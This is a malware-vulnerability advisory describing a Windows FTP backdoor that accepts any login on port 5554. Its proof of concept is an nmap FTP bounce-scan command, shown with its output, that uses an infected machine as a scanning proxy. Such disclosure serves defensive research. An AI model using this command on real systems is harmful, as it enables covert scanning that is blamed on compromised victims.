Backdoor.Win32.FTP.Ics Man-In-The-Middle

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/584bc06128469423f9e50e8a359d18ac_C.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.FTP.Ics  
Vulnerability: Port Bounce Scan (MITM)  
Description: The malware listens on TCP port 5554 and accepts any credentials. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.  
Type: PE32  
MD5: 584bc06128469423f9e50e8a359d18ac  
Vuln ID: MVID-2022-0500  
Disclosure: 02/22/2022  
  
  
Exploit/PoC:  
nmap -n -Pn -b malvuln:[email protected]:5554 -p21,22,80 192.168.18.237 -v  
Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 16:08 UTC-11  
Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).  
Attempting connection to ftp://malvuln:[email protected]:5554  
Connected:220 ICS FTP Server ready.  
Login credentials accepted by FTP server!  
Initiating Bounce Scan at 16:08  
Discovered open port 80/tcp on 192.168.18.237  
Completed Bounce Scan at 16:08, 2.11s elapsed (3 total ports)  
Nmap scan report for 192.168.18.237  
Host is up.  
  
PORT STATE SERVICE  
21/tcp closed ftp  
22/tcp closed ssh  
80/tcp open http  
  
Read data files from: C:\Program Files (x86)\Nmap  
Nmap done: 1 IP address (1 host up) scanned in 11.27 seconds  
  
  
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